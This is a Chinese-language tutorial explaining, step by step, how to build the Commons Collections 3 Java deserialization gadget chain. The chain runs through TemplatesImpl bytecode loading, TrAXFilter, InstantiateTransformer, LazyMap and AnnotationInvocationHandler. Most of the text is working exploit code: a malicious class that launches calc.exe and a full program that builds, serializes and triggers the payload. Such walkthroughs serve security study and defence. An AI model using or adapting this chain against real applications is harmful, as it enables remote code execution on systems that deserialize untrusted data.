cc3利用鏈如下:
TrAXFilter(Templates templates)
TemplatesImpl->newTransformer()
TemplatesImpl->getTransletInstance()
_class[_transletIndex].newInstance();
一、爲構造的惡意字節碼文件找一個newInstance啓動入口
在TemplatesImpl類中的getTransletInstance方法,對 _class[_transletIndex]實現了newInstance()。
所以如果構造一個惡意類,然後通過類加載器加載,最終通過TemplatesImpl實現這個類的實例化,將實現這個惡意類的初始化執行。
假設將惡意代碼寫入這個類的靜態代碼塊中,在這個類被實例化的時候得到執行,以Runtime爲例。
構造惡意類:
public class Runtimecalc {
{
Runtime runtime = Runtime.getRuntime();
try {
runtime.exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
又由於TemplatesImpl類中,getTransletInstance方法屬於私有方法,所以需要依賴另一個方法。其中該類的newTransformer()調用了getTransletInstance(),該方法public作用域,可以被外部調用執行。
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
通過反射給_class和_transletIndex賦值。但是在賦值之前,我們看到getTransletInstance方法對_name也做了判斷if (_name == null) return null;,要求不能爲空纔可以繼續執行後面代碼,所以還需要通過反射給_name賦值。
另外需要注意的是由於這裏做了一個強轉(AbstractTranslet)_class[_transletIndex].newInstance();
加載的字節碼類需要繼承AbstractTranslet
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
那麼假設我們通過反射,直接爲_class賦值爲一個惡意字節碼文件的文件路徑。
然後通過調newTransformer方法實現,就能得到字節碼文件的初始化執行。
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field aClass = templates_cl.getDeclaredField("_class");
aClass.setAccessible(true);
aClass.set(templates,new Class[]{Runtimecalc.class});
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
templates.newTransformer();
二、字節碼文件路徑是無法在目標機器得到執行的,所以需要找到其他方法將字節碼內容直接賦值序列化
Runtimecalc.class作爲類文件賦值,是無法實現序列化的時候將文件內容直接傳入的,這裏賦值的只是文件路徑。
所以序列化和反序列化是不成功的。
我們知道ClassLoader在加載的類的時候,最終是通過defineClass加載字節碼文件內容。
利用這種方式,直接的賦值傳參內容是字節碼,就可以達到惡意類加載的序列化和反序列化。
Templateslmpl類中getTransletInstance方法中,在_class[_transletIndex].newInstance()執行前,還有一段如下代碼
if (_class == null) defineTransletClasses()
假設我們之前不對_class賦值,查看defineTransletClasses做了什麼。
private void defineTransletClasses()
throws TransformerConfigurationException {
//需要給_bytecodes賦值
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
//爲_class賦值,長度爲_bytecodes的長度
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
//_bytecodes[0]賦值爲字節碼內容賦值給_class[0]
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
}
}
private byte[][] _bytecodes = null;
_bytecodes是一個byte二維數組,我們將byte[]類型的字節碼賦值給_bytecodes[0]
這裏就直接賦值字節碼內容了
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
這樣在defineTransletClasses被調用的時候
執行_class[i] = loader.defineClass(_bytecodes[i]);
_class[0]將會被賦值爲loader.defineClass(code)
由於_tfactory需要調用,所以給_tfactory也賦值
最終實現代碼如下:
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
//註釋不給_class賦值,滿足_class == null,defineTransletClasses得到調用
//Field aClass = templates_cl.getDeclaredField("_class");
//aClass.setAccessible(true);
//aClass.set(templates,new Class[]{Runtimecalc.class});
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
//加載字節碼
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
byte[][] codes = {code};
//給_bytecodes賦值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要順利執行,_tfactory得賦值,因爲defineTransletClasses中調用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl類型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
templates.newTransformer();
三、讓newTransformer得到執行
TrAXFilter類的構造方法會調用newTransformer
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
TrAXFilter trAXFilter = new TrAXFilter(templates);
但是TrAXFilter並不實現Serializable接口,無法序列化,需要通過反射調用
在cc1中反射執行最終是通過InvokerTransformer的transform來實現
這裏用了InstantiateTransformer的transform
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
剩下的就和cc1一樣了
public class CC3Test3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
byte[][] codes = {code};
//給_bytecodes賦值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要順利執行,_tfactory得賦值,因爲defineTransletClasses中調用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl類型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformerslist = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer,
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist);
HashMap hashMap1 = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc3.ser"));
objectOutputStream.writeObject(handle);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc3.ser"));
objectInputStream.readObject();
}
}